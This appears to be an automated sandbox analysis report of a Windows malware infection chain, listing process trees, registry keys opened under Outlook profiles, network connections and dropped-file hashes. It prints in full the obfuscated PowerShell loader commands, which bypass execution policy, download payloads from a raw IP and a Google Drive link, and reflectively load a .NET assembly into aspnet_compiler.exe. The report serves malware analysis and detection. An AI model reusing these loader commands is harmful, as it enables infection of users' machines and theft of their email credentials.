PID 3708 wrote to memory of 3692 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 3692 wrote to memory of 4424 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 3692 wrote to memory of 4424 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 3692 wrote to memory of 4424 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 3708 wrote to memory of 884 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WScript.exe
PID 3708 wrote to memory of 884 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WScript.exe
PID 3708 wrote to memory of 884 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WScript.exe
PID 884 wrote to memory of 8 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 884 wrote to memory of 8 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 884 wrote to memory of 8 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 8 wrote to memory of 2884 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 8 wrote to memory of 2884 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 8 wrote to memory of 2884 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2884 wrote to memory of 4040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
PID 2884 wrote to memory of 4040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
PID 2884 wrote to memory of 4040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
PID 2884 wrote to memory of 4040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
PID 2884 wrote to memory of 4040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
PID 2884 wrote to memory of 4040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
PID 2884 wrote to memory of 4040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
PID 2884 wrote to memory of 4040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
PID 2884 wrote to memory of 4040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethegoodthingswhicgivenyoubest.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe

"C:\Windows\sySTEm32\winDOWspOweRsheLl\V1.0\powErshEll.eXe" "POweRsHeLl -eX ByPaSs -NOP -W 1 -C DevIceCredeNTiaLdepLOyMenT ; ieX($(Iex('[syStem.TExT.encodiNG]'+[ChAr]58+[chAr]0x3A+'Utf8.geTsTRing([sYsTem.CoNVErT]'+[ChAr]0x3A+[CHAr]0x3A+'FROmBaSe64StriNG('+[cHaR]0X22+'JFZ3SjZCMXZ5ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTUJlUmRlRklOaVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbU9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhZTixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrck9jVWhmcU1VLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdhLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlaW1PUVplQ1NpWixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2VCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuZ0tHbVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFZ3SjZCMXZ5OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjUyLzEyMC9waWN0dXJld2l0aG1lYmFja3dpdGhuZXd0aGluZ3NncmVhdGZvcm1lLnRJRiIsIiRFblY6QVBQREFUQVxwaWN0dXJld2l0aG1lYmFja3dpdGhuZXd0aGluZ3NncmVhdGZvcm1lLnZicyIsMCwwKTtzdEFyVC1TTGVFcCgzKTtzdGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFccGljdHVyZXdpdGhtZWJhY2t3aXRobmV3dGhpbmdzZ3JlYXRmb3JtZS52YnMi'+[CHar]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX ByPaSs -NOP -W 1 -C DevIceCredeNTiaLdepLOyMenT

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ijxj0w05\ijxj0w05.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE697.tmp" "c:\Users\Admin\AppData\Local\Temp\ijxj0w05\CSC2E105000D29D4F12ABCA4AA34ABF076.TMP"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturewithmebackwithnewthingsgreatforme.vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRlbnY6Y09Nc3BFY1s0LDI0LDI1XS1Kb0lOJycpKCAoJzU2dWltYWdlVXJsID0gdklPaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xVXlIcXdyblhDbEtCSjNqJysnNjNMbDF0MlN0VmdHeGJTdDAgdklPOzU2dXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3knKydzdGVtLk5ldC5XZWJDbGllbnQ7NTZ1aScrJ21hZ2VCeXRlcyA9IDU2dXdlYkNsaWVudC5Eb3dubG9hZERhdGEoNTZ1aW1hZ2VVcmwpOzU2dWltYWdlVGV4dCA9ICcrJ1tTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKDU2dWltYWdlQnknKyd0ZXMpOzU2dXN0YXJ0RmxhZyA9IHZJTzw8QkFTRTY0X1NUQVJUPj52SU8nKyc7NTZ1ZW5kRmxhZyA9IHZJTzw8QkFTRTY0X0VORD4+dklPOzU2dXN0YXJ0SW5kZXggPSA1NnVpbWFnZVRleHQuSW5kZXhPZig1NnVzdGFydEZsYWcpOzU2dWVuZEluZGV4ID0gNTZ1aW1hZ2VUZXh0LkluZGV4T2YoNTZ1ZW5kRmxhZyk7NTZ1c3RhcnRJbmRleCAtZ2UgMCAtYW5kIDU2dWVuZCcrJ0luZGV4IC1ndCA1NnVzdGFydEluZGV4OzU2dXN0YXJ0SW5kZXggKz0gNTZ1c3RhcnRGbGFnLkxlbmd0aDs1NnViYXNlNjRMZW5ndGggPSA1NnVlbmRJbmQnKydleCAtIDU2dXN0YXJ0SW5kZXg7NTZ1YmFzZTY0Q29tbWFuZCA9IDU2dWltYWdlVGV4dC5TdWJzdHJpbmcoNTYnKyd1c3RhcnRJbmRleCwgNTZ1YmFzZTY0TGVuZ3RoKTs1NnViYXNlNjRSZXZlcnNlZCA9IC1qJysnb2luJysnICg1NnViYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgNmlrIEZvckVhY2gtT2JqZWN0IHsgNTZ1XyB9KVstMS4uLSg1NicrJ3ViYXNlNicrJzRDb21tYW5kLkxlbmd0aCldOzU2dWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoNTZ1YmFzZTY0UmV2ZXJzZWQpOzU2dWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlJysnbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6JysnTG9hZCg1NnVjb21tYW5kQnl0ZXMpOzU2dXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QodklPVkEnKydJJysndklPKTs1NnV2YWlNZXRob2QuSW52b2tlKDU2dW51bGwsIEAodklPdCcrJ3h0LktMR0xMLzAyMS8yNS43Ljg2MS40JysnMDEvLzpwdHRodklPLCAnKyd2SU9kZXNhdGl2YWRvdicrJ0lPLCB2SU9kZXNhdGl2YWRvdklPLCB2SU9kZXNhdGl2YWRvdklPLCB2SU9hc3BuZXRfY29tcCcrJ2lsZXJ2SU8sIHZJT2Rlc2F0aXZhZG92SU8sICcrJ3ZJT2Rlc2F0aXZhZG92SU8sdklPZGVzYXRpdmFkb3ZJTyx2SU9kZXNhdGl2YWRvdklPLHZJT2RlcycrJ2F0aXZhZG92SU8sdklPZGVzYXRpdmFkb3ZJTyx2SU9kZXNhdGl2YWRvdklPLHZJTzF2SU8sdklPZGVzYXRpdmFkJysnb3ZJTykpOycpLnJlcExhQ0UoKFtjaEFSXTU0K1tjaEFSXTEwNStbY2hBUl0xMDcpLFtzVFJpbmddW2NoQVJdMTI0KS5yZXBMYUNFKCd2SU8nLFtzVFJpbmddW2NoQVJdMzkpLnJlcExhQ0UoJzU2dScsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $env:cOMspEc[4,24,25]-JoIN'')( ('56uimageUrl = vIOhttps://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j'+'63Ll1t2StVgGxbSt0 vIO;56uwebClient = New-Object Sy'+'stem.Net.WebClient;56ui'+'mageBytes = 56uwebClient.DownloadData(56uimageUrl);56uimageText = '+'[System.Text.Encoding]::UTF8.GetString(56uimageBy'+'tes);56ustartFlag = vIO<<BASE64_START>>vIO'+';56uendFlag = vIO<<BASE64_END>>vIO;56ustartIndex = 56uimageText.IndexOf(56ustartFlag);56uendIndex = 56uimageText.IndexOf(56uendFlag);56ustartIndex -ge 0 -and 56uend'+'Index -gt 56ustartIndex;56ustartIndex += 56ustartFlag.Length;56ubase64Length = 56uendInd'+'ex - 56ustartIndex;56ubase64Command = 56uimageText.Substring(56'+'ustartIndex, 56ubase64Length);56ubase64Reversed = -j'+'oin'+' (56ubase64Command.ToCharArray() 6ik ForEach-Object { 56u_ })[-1..-(56'+'ubase6'+'4Command.Length)];56ucommandBytes = [System.Convert]::FromBase64String(56ubase64Reversed);56uloadedAssembly = [Syste'+'m.Reflection.Assembly]::'+'Load(56ucommandBytes);56uvaiMethod = [dnlib.IO.Home].GetMethod(vIOVA'+'I'+'vIO);56uvaiMethod.Invoke(56unull, @(vIOt'+'xt.KLGLL/021/25.7.861.4'+'01//:ptthvIO, '+'vIOdesativadov'+'IO, vIOdesativadovIO, vIOdesativadovIO, vIOaspnet_comp'+'ilervIO, vIOdesativadovIO, '+'vIOdesativadovIO,vIOdesativadovIO,vIOdesativadovIO,vIOdes'+'ativadovIO,vIOdesativadovIO,vIOdesativadovIO,vIO1vIO,vIOdesativad'+'ovIO));').repLaCE(([chAR]54+[chAR]105+[chAR]107),[sTRing][chAR]124).repLaCE('vIO',[sTRing][chAR]39).repLaCE('56u','$'))"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 104.168.7.52:80 104.168.7.52 tcp
US 8.8.8.8:53 52.7.168.104.in-addr.arpa udp
US 8.8.8.8:53 drive.google.com udp
GB 142.250.187.206:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 172.217.16.225:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 206.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 225.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 104.168.7.52:80 104.168.7.52 tcp
DE 94.156.177.220:80 94.156.177.220 tcp
DE 94.156.177.220:80 94.156.177.220 tcp
DE 94.156.177.220:80 94.156.177.220 tcp
US 8.8.8.8:53 220.177.156.94.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
DE 94.156.177.220:80 94.156.177.220 tcp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
DE 94.156.177.220:80 94.156.177.220 tcp
US 8.8.8.8:53 udp

Files

memory/3708-0-0x000000007190E000-0x000000007190F000-memory.dmp

memory/3708-1-0x0000000004730000-0x0000000004766000-memory.dmp

memory/3708-2-0x0000000004DA0000-0x00000000053C8000-memory.dmp

memory/3708-3-0x0000000071900000-0x00000000720B0000-memory.dmp

memory/3708-4-0x0000000071900000-0x00000000720B0000-memory.dmp

memory/3708-10-0x0000000005540000-0x0000000005562000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4so3qgb.jmi.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3708-16-0x00000000057E0000-0x0000000005846000-memory.dmp

memory/3708-15-0x0000000005700000-0x0000000005766000-memory.dmp

memory/3708-17-0x00000000058A0000-0x0000000005BF4000-memory.dmp

memory/3708-18-0x0000000005CD0000-0x0000000005CEE000-memory.dmp

memory/3708-19-0x0000000005D10000-0x0000000005D5C000-memory.dmp

memory/768-29-0x0000000006EA0000-0x0000000006ED2000-memory.dmp

memory/768-30-0x000000006E1C0000-0x000000006E20C000-memory.dmp

memory/768-40-0x00000000062C0000-0x00000000062DE000-memory.dmp

memory/768-41-0x0000000006F90000-0x0000000007033000-memory.dmp

memory/768-42-0x00000000076C0000-0x0000000007D3A000-memory.dmp

memory/768-43-0x0000000006F60000-0x0000000006F7A000-memory.dmp

memory/768-44-0x0000000007080000-0x000000000708A000-memory.dmp

memory/768-45-0x00000000072B0000-0x0000000007346000-memory.dmp

memory/768-46-0x0000000007220000-0x0000000007231000-memory.dmp

memory/768-47-0x0000000007250000-0x000000000725E000-memory.dmp

memory/768-48-0x0000000007260000-0x0000000007274000-memory.dmp

memory/768-49-0x0000000007370000-0x000000000738A000-memory.dmp

memory/768-50-0x00000000072A0000-0x00000000072A8000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\ijxj0w05\ijxj0w05.cmdline

MD5 2cd6126afd7307c9c1feda568537160b
SHA1 3984995a486601213cc090307d0f5b60aee54d79
SHA256 f9384672b3cd5ded7f07d4c506ff52c36111667b6510a467980b52b8bb1fc73c
SHA512 6495b7d0b3ce26d6a3f08ec00129e110c7e105f1bcf11393c5333f6ad7acc6ea60308c5959f542f2b2e7f97367b19f81e1e27cfe913c5b0f14fb312c5f1302e6

\??\c:\Users\Admin\AppData\Local\Temp\ijxj0w05\ijxj0w05.0.cs

MD5 205f375dc3c53a766f92ffdea3687dde
SHA1 4d6aeadd2f24e149e06b17ecff040e835c78efa1
SHA256 25267d3b40367bbddf882619d418415a2c49bd26d964b6e2d5e214d92a8f87ab
SHA512 7708b1b37f3e2e156762f2704f4b70bf9c92473e1f8874ffc52e8f020a519a14f610b6e855059fa8dda425708e95a65ef8e925bf8ac998bb703b6770b7d2692f

\??\c:\Users\Admin\AppData\Local\Temp\ijxj0w05\CSC2E105000D29D4F12ABCA4AA34ABF076.TMP

MD5 d44cdce2a4525b37f24acf9dc00770fa
SHA1 0818ad31aab26867886501dbb395970329c7a394
SHA256 8eade26c3ae052285cf5c2bed955da35a799da96cb6d50948482b42d2c19026c
SHA512 45ca0be87cee2b3b522dd097d8fd167b30449e9a5d3350339d6bc399289bec68c496e235752d72f521db0916ccd6847672a3f6042d5ed24f09b29d2286a47c5e

C:\Users\Admin\AppData\Local\Temp\RESE697.tmp

MD5 6bf5706529c5d00edd2500cf11e3806f
SHA1 2f056d450edd8866c4149b82fad53276b779935e
SHA256 122fd2b7a5c681a4748fb4c2511d1ca078bd00f20b223b7bb0421ec25a02d7bb
SHA512 91b961644e39e590547393dcad92e09f10a36051bd1b4b60166bf4196f16ac9a87ccd31f91e795c6d9c0e7cbad4d404ab4107cef6c22bfbe2de8838ff397b05b

C:\Users\Admin\AppData\Local\Temp\ijxj0w05\ijxj0w05.dll

MD5 700f196de8c4d90b7f533346be212aa5
SHA1 5589e36638ca7c3c4e1dc770e1c060c9153bbee2
SHA256 e5b8c978f9d5f7c649bc37468d6163566c52be21eef51f8afcbcf96b5442d2b3
SHA512 90fa1e29974237618c9ad1feb064b37e85c21dffe32d5fbb519e12b4be399c2a9cb4e7f1b057624c9b86cc14e2929ea7ddee67a7837c8cb6cd0b403f1bbdfd9d

memory/3708-65-0x0000000006270000-0x0000000006278000-memory.dmp

memory/3708-71-0x000000007190E000-0x000000007190F000-memory.dmp

memory/3708-72-0x0000000071900000-0x00000000720B0000-memory.dmp

memory/3708-73-0x0000000007090000-0x00000000070B2000-memory.dmp

memory/3708-74-0x0000000008150000-0x00000000086F4000-memory.dmp

C:\Users\Admin\AppData\Roaming\picturewithmebackwithnewthingsgreatforme.vbs

MD5 6ee290a97ed7f5bcf1d264fcb5e1e4f7
SHA1 0851b61aa41328bac3ed7160eba1151a6faf2f0b
SHA256 b0d216e063b15e640ee73f15277cbd58b8d2a38ee96f61a8ad1e1bc36e400b88
SHA512 5aff6b07f5d77f548ece9bd2609177f0a742123ffd2f1861f0008dfb0f51d137a15a4c9436fc48c64b40c733bb550eb894e3a5bff3855b533262a06390b4034e

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powErshEll.eXe.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 c3ced68379b1a665a99048f5e006b5d8
SHA1 bf8e51c65888af1c68b6b9a8c46476971f76c644
SHA256 7c1efb99e25c3cd4cef2f11a22d436f3d30095b9606bfd481cf33976d9f3f43f
SHA512 b64d588774049e0cbaf128796bcba2b24b2f7c8b458ca88ca355dd8aaa271e0f02dd641bcc44154fdadaf68b98ff8dbfda4a02a4a0dd05cfb58a0a011596edaf

memory/3708-81-0x0000000071900000-0x00000000720B0000-memory.dmp

memory/2884-101-0x00000000078C0000-0x0000000007A18000-memory.dmp

memory/2884-102-0x0000000007AC0000-0x0000000007B5C000-memory.dmp

memory/4040-103-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/4040-104-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 c10fae435d5ae8924ff9dac726493906
SHA1 e4cb095bcd853edceb5542d77ddbf112b0748860
SHA256 8475894d7c800f3bb2234ed8de3980bb130c605753f82d5ef709b5923b9a74c9
SHA512 b3f048d10e7d4c0fdd057b515428a27434aa75e4f70ed493971f2e18a1dc8957243d174e2b7c63bbe5ab8a29e7998ddfb2f57354922af5e1b2944af8d501458a

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3227495264-2217614367-4027411560-1000\0f5007522459c86e95ffcc62f32308f1_423fd5c7-8559-4b8c-bf1f-c9d05c9f0fd3

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

memory/4040-128-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3227495264-2217614367-4027411560-1000\0f5007522459c86e95ffcc62f32308f1_423fd5c7-8559-4b8c-bf1f-c9d05c9f0fd3

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

memory/4040-136-0x0000000000400000-0x00000000004A2000-memory.dmp